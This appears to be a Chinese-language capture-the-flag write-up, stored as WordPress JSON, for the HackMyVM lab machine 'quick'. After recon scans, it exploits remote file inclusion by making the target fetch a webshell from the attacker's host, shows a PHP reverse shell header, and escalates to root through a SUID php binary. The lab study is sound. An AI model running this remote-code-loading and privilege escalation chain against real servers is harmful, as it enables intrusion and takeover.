{"id":433,"date":"2024-03-21T01:44:02","date_gmt":"2024-03-20T17:44:02","guid":{"rendered":"http:\/\/162.14.82.114\/?p=433"},"modified":"2024-03-21T01:44:02","modified_gmt":"2024-03-20T17:44:02","slug":"hmv-_-quick","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/433\/03\/21\/2024\/","title":{"rendered":"hmv[-_-]quick"},"content":{"rendered":"<h1>quick<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142569.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142569.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317144102239\" \/><\/div><\/p>\n<p>\u626b\u63cf\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142571.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142571.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240321010459945\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u9614\u4ee5\uff01<\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">sudo nmap -Pn 10.0.2.8<\/code><\/pre>\n<pre><code class=\"language-text\">PORT   STATE SERVICE\n80\/tcp open  http\nMAC Address: 08:00:27:41:D3:56 (Oracle VirtualBox virtual NIC)<\/code><\/pre>\n<pre><code class=\"language-bash\">nmap -sV -sT -T4 -p- 10.0.2.8<\/code><\/pre>\n<pre><code class=\"language-bash\">PORT   STATE SERVICE VERSION\n80\/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<\/code><\/pre>\n<p>\u770b\u6765\u771f\u6ca1\u4e1c\u897f\u4e86\u3002<\/p>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">feroxbuster -u http:\/\/10.0.2.8<\/code><\/pre>\n<pre><code class=\"language-text\">301      GET        9l       28w      305c http:\/\/10.0.2.8\/images =&gt; http:\/\/10.0.2.8\/images\/\n200      GET       88l      342w     3735c http:\/\/10.0.2.8\/index.php\n200      GET      314l     2467w   220000c http:\/\/10.0.2.8\/images\/logo.png\n200      GET     2190l    12161w   863176c http:\/\/10.0.2.8\/images\/joe.jpeg\n200      GET     2740l    14581w  1058919c http:\/\/10.0.2.8\/images\/jane.jpeg\n200      GET      134l      799w    59813c http:\/\/10.0.2.8\/images\/pexels-adrian-newell-6968984.jpg\n200      GET      255l     1417w   103988c http:\/\/10.0.2.8\/images\/pexels-mike-bird-190537.jpg\n200      GET      261l      453w     4038c http:\/\/10.0.2.8\/styles.css\n200      GET       88l      342w     3735c http:\/\/10.0.2.8\/\n200      GET     1795l    10935w   818584c http:\/\/10.0.2.8\/images\/pexels-pixabay-38570.jpg\n200      GET      157l      983w    66146c http:\/\/10.0.2.8\/images\/pexels-ishan-kulshrestha-9334971.jpg<\/code><\/pre>\n<p>\u4ee5\u9632\u4e07\u4e00<code>FUZZ<\/code>\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">ffuf -u http:\/\/10.0.2.8\/FUZZ -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-medium-directories-lowercase.txt<\/code><\/pre>\n<pre><code class=\"language-text\">images                  [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 115ms]\nserver-status           [Status: 403, Size: 273, Words: 20, Lines: 10, Duration: 0ms]<\/code><\/pre>\n<p>\u6ca1\u5565\u4e1c\u897f\u4e86\uff0c\u5f00\u64a4\uff01<\/p>\n<h3>\u6f0f\u6d1e\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">nikto -h http:\/\/10.0.2.8<\/code><\/pre>\n<pre><code class=\"language-text\">- Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP:          10.0.2.8\n+ Target Hostname:    10.0.2.8\n+ Target Port:        80\n+ Start Time:         2024-03-20 13:20:16 (GMT-4)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.41 (Ubuntu)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ No CGI Directories found (use &#039;-C all&#039; to force check all possible dirs)\n+ \/images: IP address found in the &#039;location&#039; header. The IP is &quot;127.0.1.1&quot;. See: https:\/\/portswigger.net\/kb\/issues\/00600300_private-ip-addresses-disclosed\n+ \/images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP\/1.0. The value is &quot;127.0.1.1&quot;. See: http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2000-0649\n+ Apache\/2.4.41 appears to be outdated (current is at least Apache\/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.\n+ \/: Web Server returns a valid response with junk HTTP methods which may cause false positives.\n+ \/images\/: Directory indexing found.\n+ \/index.php: Output from the phpinfo() function was found.\n+ \/index.php?page=http:\/\/blog.cirt.net\/rfiinc.txt?: Remote File Inclusion (RFI) from RSnake&#039;s RFI list. See: https:\/\/gist.github.com\/mubix\/5d269c686584875015a2\n+ 8102 requests: 0 error(s) and 9 item(s) reported on remote host\n+ End Time:           2024-03-20 13:20:33 (GMT-4) (17 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u5229\u7528<\/h2>\n<h3>RFI\u6f0f\u6d1e\u5229\u7528<\/h3>\n<p>\u626b\u51fa\u6765\u4e86\u4e00\u4e2a<code>RFI<\/code>\u6f0f\u6d1e\uff1a<\/p>\n<pre><code class=\"language-url\">http:\/\/10.0.2.8\/index.php?page=http:\/\/10.0.2.4:8888\/webshell<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142573.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142573.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240321013444703\" \/><\/div><\/p>\n<pre><code class=\"language-php\"># head webshell.php\n&lt;?php\n  \/\/ php-reverse-shell - A Reverse Shell implementation in PHP\n  \/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\n  set_time_limit (0);\n  $VERSION = &quot;1.0&quot;;\n  $ip = &#039;10.0.2.8&#039;;  \/\/ You have changed this\n  $port = 1234;  \/\/ And this\n  $chunk_size = 1400;<\/code><\/pre>\n<blockquote>\n<p>\u5b9e\u9645\u4e0a\uff0c\u5c31\u7b97\u6ca1\u6709\u6253\u5168\uff0c\u53ea\u6253\u524d\u51e0\u4e2a\u5b57\u6bcd\uff0c\u4e5f\u53ef\u4ee5\u8bf7\u6c42\u5230\u6b63\u786e\u7684\u6587\u4ef6\uff01<\/p>\n<\/blockquote>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u6269\u5c55shell<\/h3>\n<pre><code class=\"language-bash\">python3 -c &#039;import pty;pty.spawn(&quot;\/bin\/bash&quot;)&#039;<\/code><\/pre>\n<h3>\u53d1\u73b0suid\u6f0f\u6d1e<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142574.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142574.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240321013843945\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8fd9\u4e2a<code>php7.0<\/code>\u660e\u663e\u6709suid\uff1a<a href=\"https:\/\/gtfobins.github.io\/gtfobins\/php\/\">https:\/\/gtfobins.github.io\/gtfobins\/php\/<\/a><\/p>\n<pre><code>\/usr\/bin\/php7.0 -r &quot;pcntl_exec(&#039;\/bin\/sh&#039;, [&#039;-p&#039;]);&quot;<\/code><\/pre>\n<h3>\u5bfb\u627eflag<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142575.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142575.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240321014151243\" style=\"zoom:33%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142576.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403210142576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240321014203052\" style=\"zoom: 33%;\" \/><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"<p>quick \u626b\u63cf\u4e00\u4e0b\uff1a \u9614\u4ee5\uff01 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf sudo nmap -Pn 10.0.2.8 PORT S [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-433","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/433","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=433"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/433\/revisions"}],"predecessor-version":[{"id":434,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/433\/revisions\/434"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=433"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=433"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=433"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}